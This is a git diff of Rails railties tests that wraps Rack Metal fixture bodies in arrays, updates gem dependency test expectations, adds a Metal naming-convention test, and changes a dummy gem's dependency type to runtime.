a/railties/test/fixtures/metal/subfolders/app/metal/Folder/metal_a.rb b/railties/test/fixtures/metal/subfolders/app/metal/Folder/metal_a.rb index 71a5a62eb8..25b3bb0abc 100644 --- a/railties/test/fixtures/metal/subfolders/app/metal/Folder/metal_a.rb +++ b/railties/test/fixtures/metal/subfolders/app/metal/Folder/metal_a.rb @@ -1,7 +1,7 @@ module Folder class MetalA < Rails::Rack::Metal def self.call(env) - [200, { "Content-Type" => "text/html"}, "Hi"] + [200, { "Content-Type" => "text/html"}, ["Hi"]] end end end diff --git a/railties/test/fixtures/metal/subfolders/app/metal/Folder/metal_b.rb b/railties/test/fixtures/metal/subfolders/app/metal/Folder/metal_b.rb index 430d7bfed6..7583363f71 100644 --- a/railties/test/fixtures/metal/subfolders/app/metal/Folder/metal_b.rb +++ b/railties/test/fixtures/metal/subfolders/app/metal/Folder/metal_b.rb @@ -1,7 +1,7 @@ module Folder class MetalB < Rails::Rack::Metal def self.call(env) - [200, { "Content-Type" => "text/html"}, "Hi"] + [200, { "Content-Type" => "text/html"}, ["Hi"]] end end end diff --git a/railties/test/gem_dependency_test.rb b/railties/test/gem_dependency_test.rb index 8b761c48b2..189ad02b76 100644 --- a/railties/test/gem_dependency_test.rb +++ b/railties/test/gem_dependency_test.rb @@ -46,31 +46,34 @@ class GemDependencyTest < Test::Unit::TestCase end def test_gem_adds_load_paths - @gem.expects(:gem).with(Gem::Dependency.new(@gem.name, nil)) + @gem.expects(:gem).with(@gem) @gem.add_load_paths end def test_gem_with_version_adds_load_paths - @gem_with_version.expects(:gem).with(Gem::Dependency.new(@gem_with_version.name, @gem_with_version.requirement.to_s)) + @gem_with_version.expects(:gem).with(@gem_with_version) @gem_with_version.add_load_paths + assert @gem_with_version.load_paths_added? end def test_gem_loading - @gem.expects(:gem).with(Gem::Dependency.new(@gem.name, nil)) + @gem.expects(:gem).with(@gem) @gem.expects(:require).with(@gem.name) @gem.add_load_paths @gem.load + assert @gem.loaded? end def test_gem_with_lib_loading - @gem_with_lib.expects(:gem).with(Gem::Dependency.new(@gem_with_lib.name, nil)) + @gem_with_lib.expects(:gem).with(@gem_with_lib) @gem_with_lib.expects(:require).with(@gem_with_lib.lib) @gem_with_lib.add_load_paths @gem_with_lib.load + assert @gem_with_lib.loaded? end def test_gem_without_lib_loading - @gem_without_load.expects(:gem).with(Gem::Dependency.new(@gem_without_load.name, nil)) + @gem_without_load.expects(:gem).with(@gem_without_load) @gem_without_load.expects(:require).with(@gem_without_load.lib).never @gem_without_load.add_load_paths @gem_without_load.load @@ -132,8 +135,8 @@ class GemDependencyTest < Test::Unit::TestCase dummy_gem = Rails::GemDependency.new "dummy-gem-g" dummy_gem.add_load_paths dummy_gem.load - assert dummy_gem.loaded? - assert_equal 2, dummy_gem.dependencies(:flatten => true).size + assert_equal 1, dummy_gem.dependencies.size + assert_equal 1, dummy_gem.dependencies.first.dependencies.size assert_nothing_raised do dummy_gem.dependencies.each do |g| g.dependencies diff --git a/railties/test/metal_test.rb b/railties/test/metal_test.rb index 143efdda11..d3d231132b 100644 --- a/railties/test/metal_test.rb +++ b/railties/test/metal_test.rb @@ -8,6 +8,12 @@ class MetalTest < Test::Unit::TestCase end end + def test_metals_should_respect_class_name_conventions + use_appdir("pluralmetal") do + assert_equal(["LegacyRoutes"], found_metals_as_string_array) + end + end + def test_metals_should_return_alphabetical_list_of_found_metal_apps use_appdir("multiplemetals") do assert_equal(["MetalA", "MetalB"], found_metals_as_string_array) diff --git a/railties/test/vendor/gems/dummy-gem-g-1.0.0/.specification b/railties/test/vendor/gems/dummy-gem-g-1.0.0/.specification index 5483048c1c..27e29912a6 100644 --- a/railties/test/vendor/gems/dummy-gem-g-1.0.0/.specification +++ b/railties/test/vendor/gems/dummy-gem-g-1.0.0/.specification @@ -9,7 +9,7 @@ date: 2008-10-03 00:00:00 -04:00 dependencies: - !ruby/object:Gem::Dependency name: dummy-gem-f - type: :development + type: :runtime version_requirement: version_requirements: !ruby/object:Gem::Requirement requirements: |